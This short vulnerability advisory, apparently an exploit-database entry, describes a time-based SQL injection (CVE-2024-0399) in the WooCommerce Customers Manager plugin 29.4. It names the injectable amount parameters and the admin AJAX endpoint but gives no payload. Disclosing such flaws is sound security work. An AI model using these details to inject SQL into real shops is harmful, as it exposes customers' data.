Exploit Title: WooCommerce Customers Manager 29.4 - Post-Authenticated SQL Injection
Date: 2024-03-25
Exploit Author: Ivan Spiridonov - xbz0n
Software Link: https://codecanyon.net/item/woocommerce-customers-manager/10965432
Version: 29.4
Tested on: Ubuntu 22.04
CVE: CVE-2024-0399

SQL Injection

The plugin does not properly sanitise and escape a parameter before using it in a SQL statement, leading to an SQL injection exploitable by Subscriber+ role.

Affected Components

• Plugin: WooCommerce Customers Manager
• Version: 29.4
• Affected Parameters: 'max_amount', 'max_amount_total', 'min_amount', 'min_amount_total'
• Affected Endpoint: /wp-admin/admin-ajax.php

Description

The vulnerability is located within the transaction amount parameters like 'max_amount', 'max_amount_total', 'min_amount', and 'min_amount_total' used in the admin AJAX endpoint. By injecting SQL commands into these parameters, authenticated attackers can manipulate SQL queries leading to a time-based SQL Injection vulnerability.
